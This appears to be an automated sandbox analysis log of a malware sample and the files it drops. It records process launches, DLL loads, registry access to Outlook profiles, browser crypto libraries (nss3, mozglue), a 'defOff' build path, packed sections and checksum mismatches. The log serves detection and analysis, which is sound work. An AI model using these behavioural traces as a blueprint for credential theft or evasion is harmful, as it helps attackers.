Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\BAAFBFBAAK.exe "C:\Users\user\Documents\BAAFBFBAAK.exe"	Jump to behavior
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: mstask.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: dui70.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: duser.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: chartv.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: winsta.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: iUKUR1nUyD.exe

Static file information: File size 1929216 > 1048576

Source: iUKUR1nUyD.exe

Static PE information: Raw size of qppoenam is bigger than: 0x100000 < 0x1ad000

Source:	Binary string: mozglue.pdbP source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3063824091.000000006F92D000.00000002.00000001.01000000.0000000E.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.4.dr, freebl3[1].dll.4.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.4.dr, freebl3[1].dll.4.dr
Source:	Binary string: nss3.pdb@ source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.4.dr, softokn3.dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.4.dr, vcruntime140[1].dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.4.dr, msvcp140.dll.4.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe, 00000003.00000002.2522928284.0000000000772000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: nss3.pdb source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr
Source:	Binary string: mozglue.pdb source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3063824091.000000006F92D000.00000002.00000001.01000000.0000000E.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.4.dr, softokn3.dll.4.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Unpacked PE file: 3.2.KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe.770000.0.unpack :EW;.rsrc:W;.idata :W;rbjmaado:EW;rfadrvwi:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Unpacked PE file: 4.2.QCOQEKY6WEL3K5GC9727N7E.exe.100000.0.unpack :EW;.rsrc:W;.idata :W;lsatlxzt:EW;iiwizmeh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;lsatlxzt:EW;iiwizmeh:EW;.taggant:EW;
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Unpacked PE file: 16.2.BAAFBFBAAK.exe.c70000.0.unpack :EW;.rsrc:W;.idata :W;opilsovf:EW;xjprhixb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;opilsovf:EW;xjprhixb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.f70000.0.unpack :EW;.rsrc:W;.idata :W;opilsovf:EW;xjprhixb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;opilsovf:EW;xjprhixb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 18.2.skotes.exe.f70000.0.unpack :EW;.rsrc:W;.idata :W;opilsovf:EW;xjprhixb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;opilsovf:EW;xjprhixb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 19.2.skotes.exe.f70000.0.unpack :EW;.rsrc:W;.idata :W;opilsovf:EW;xjprhixb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;opilsovf:EW;xjprhixb:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: QCOQEKY6WEL3K5GC9727N7E.exe.0.dr	Static PE information: real checksum: 0x4e915f should be: 0x4e7cc4
Source: random[1].exe.4.dr	Static PE information: real checksum: 0x31c89e should be: 0x3193b2
Source: skotes.exe.16.dr	Static PE information: real checksum: 0x31c89e should be: 0x3193b2
Source: BAAFBFBAAK.exe.4.dr	Static PE information: real checksum: 0x31c89e should be: 0x3193b2
Source: KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe.0.dr	Static PE information: real checksum: 0x2c3a6d should be: 0x2c9688
Source: iUKUR1nUyD.exe	Static PE information: real checksum: 0x1e4847 should be: 0x1dfc35

Source: iUKUR1nUyD.exe	Static PE information: section name:
Source: iUKUR1nUyD.exe	Static PE information: section name: .idata
Source: iUKUR1nUyD.exe	Static PE information: section name:
Source: iUKUR1nUyD.exe	Static PE information: section name: qppoenam
Source: iUKUR1nUyD.exe	Static PE information: section name: qzwmqxvv
Source: iUKUR1nUyD.exe	Static PE information: section name: .taggant
Source: KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe.0.dr	Static PE information: section name:
Source: KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe.0.dr	Static PE information: section name: .idata
Source: KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe.0.dr	Static PE information: section name: rbjmaado
Source: KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe.0.dr	Static PE information: section name: rfadrvwi
Source: KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe.0.dr	Static PE information: section name: .taggant
Source: QCOQEKY6WEL3K5GC9727N7E.exe.0.dr	Static PE information: section name:
Source: QCOQEKY6WEL3K5GC9727N7E.exe.0.dr	Static PE information: section name: .idata
Source: QCOQEKY6WEL3K5GC9727N7E.exe.0.dr	Static PE information: section name: lsatlxzt
Source: QCOQEKY6WEL3K5GC9727N7E.exe.0.dr	Static PE information: section name: iiwizmeh
Source: QCOQEKY6WEL3K5GC9727N7E.exe.0.dr	Static PE information: section name: .taggant
Source: mozglue[1].dll.4.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.4.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.4.dr	Static PE information: section name: .didat
Source: nss3.dll.4.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.4.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: BAAFBFBAAK.exe.4.dr	Static PE information: section name:
Source: BAAFBFBAAK.exe.4.dr	Static PE information: section name: .idata
Source: BAAFBFBAAK.exe.4.dr	Static PE information: section name: opilsovf
Source: BAAFBFBAAK.exe.4.dr	Static PE information: section name: xjprhixb
Source: BAAFBFBAAK.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe.4.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name: .idata
Source: random[1].exe.4.dr	Static PE information: section name: opilsovf
Source: random[1].exe.4.dr	Static PE information: section name: xjprhixb
Source: random[1].exe.4.dr	Static PE information: section name: .taggant
Source: freebl3.dll.4.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.4.dr	Static PE information: section name: .00cfg
Source: skotes.exe.16.dr	Static PE information: section name:
Source: skotes.exe.16.dr	Static PE information: section name: .idata
Source: skotes.exe.16.dr	Static PE information: section name: opilsovf
Source: skotes.exe.16.dr	Static PE information: section name: xjprhixb
Source: skotes.exe.16.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01232CAA push ebp; iretd	0_3_01232CAB
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01232CAA push ebp; iretd	0_3_01232CAB
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01232CAA push ebp; iretd	0_3_01232CAB
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01232CAA push ebp; iretd	0_3_01232CAB
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01232CAA push ebp; iretd	0_3_01232CAB
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01232CAA push ebp; iretd	0_3_01232CAB
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01232CAA push ebp; iretd	0_3_01232CAB
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01232CAA push ebp; iretd	0_3_01232CAB
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01232CAA push ebp; iretd	0_3_01232CAB
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_01232CAA push ebp; iretd	0_3_01232CAB
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_0124095A push es; iretd	0_3_01240979
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_0124095A push es; iretd	0_3_01240979
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_0124095A push es; iretd	0_3_01240979
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_0124095A push es; iretd	0_3_01240979
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Code function: 0_3_0124095A push es; iretd	0_3_01240979
